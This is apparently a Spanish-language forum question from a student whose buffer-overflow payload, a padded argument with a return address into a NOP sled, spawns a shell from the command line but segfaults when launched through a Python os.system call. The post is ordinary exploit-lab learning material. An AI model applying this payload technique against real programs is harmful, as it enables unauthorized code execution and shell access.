Estoy desarrollando un script para realizar un desbordamiento de búfer para una tarea en la escuela. Sin embargo, estoy atascado en un punto en el que mi carga útil se inyecta a través de la línea de comandos, pero no se inyecta a través de mi script de Python.
Cuando inyecto mi carga útil desde la línea de comandos:
user@ubuntu:~/Documents/$ /home/user/Documents/easy $(python -c 'print"AAAAAAAAAAAAAA"\xa0\xf4\xff\xbf"')
$ exit //I get the shell....
La dirección de retorno
\xa0\xf4\xff\xbf
Es la dirección de mi sled NOP en una variable de entorno.
Ahora, ejecuto el mismo comando completo a través de mi script de python:
path = "/home/dvddaver/Documents/easy AAAAAAAAAAAAAA\xa0\xf4\xff\xbf"
os.system(path);
Sin embargo, cuando ejecuto mi script de Python, aparece un error de segmentación:
user@ubuntu:~/Documents$ python bruteforcer.py
Segmentation fault (core dumped)